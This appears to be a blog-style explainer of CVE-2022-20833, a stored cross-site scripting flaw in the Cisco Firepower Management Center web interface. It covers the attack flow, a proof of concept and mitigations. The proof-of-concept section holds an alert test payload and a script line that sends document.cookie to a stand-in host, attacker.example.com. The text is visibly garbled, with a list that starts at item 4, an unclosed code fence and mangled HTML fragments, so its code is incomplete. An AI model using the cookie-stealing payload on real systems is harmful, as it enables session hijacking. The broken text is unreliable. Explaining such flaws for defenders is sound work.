Cisco Firepower Management Center (FMC) is a powerful web-based tool for managing network security. However, in 2022, a critical vulnerability known as CVE-2022-20833 was uncovered. This flaw can allow attackers to inject malicious scripts through several input fields, potentially compromising the system and user data.
In this post, we'll break down what CVE-2022-20833 means in plain English, how an attacker can use it, look at real code examples, and explain how to protect your FMC deployment.
What Is CVE-2022-20833?
CVE-2022-20833 is about several stored cross-site scripting (XSS) vulnerabilities in the Cisco FMC web interface. These flaws let a logged-in user (even with low privileges) add harmful code into various fields, like names or descriptions in the dashboard.
The malicious input is stored in the FMC database.
4. When another (possibly more privileged) user later views the affected section, the script runs in their browser, letting the attacker steal session data or act on behalf of that user.
Why does this happen?
Because FMC's web interface doesn't filter out dangerous code (“insufficient validation of user-supplied input”).
`html
alert('XSS');
The attacker can perform actions as the authenticated user (privilege escalation).
- In some cases, repeated execution could crash parts of the dashboard (temporary availability impact).
Proof of Concept (PoC) Code
Imagine you found a 'Policy Name' field in the network policy creation form.
</h2><p> // Send cookie to attacker's server<br> fetch('<a href="http://attacker.example.com/log?cookie=" rel="nofollow">http://attacker.example.com/log?cookie=</a>' + document.cookie);<br>
Prevention: How to Protect Yourself
- Upgrade ASAP: Cisco has released patches. Find the fixed versions here.
- Input Validation: Always filter and encode user input before saving and before displaying on any web page.
Original References
- Cisco Security Advisory: CVE-2022-20833
- NVD CVE Entry
- Cisco Firepower Management Center Documentation
Conclusion
CVE-2022-20833 is a serious vulnerability that could let a remote attacker hijack sessions or damage your Cisco FMC dashboard. Because attackers only need a regular login, defending yourself relies on keeping FMC software updated and staying alert to suspicious activity.
If you manage network security appliances, patch now and check your user permissions. Don’t let a simple script open the door to your network’s crown jewels.
Timeline
Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/18/2022 18:14:00 UTC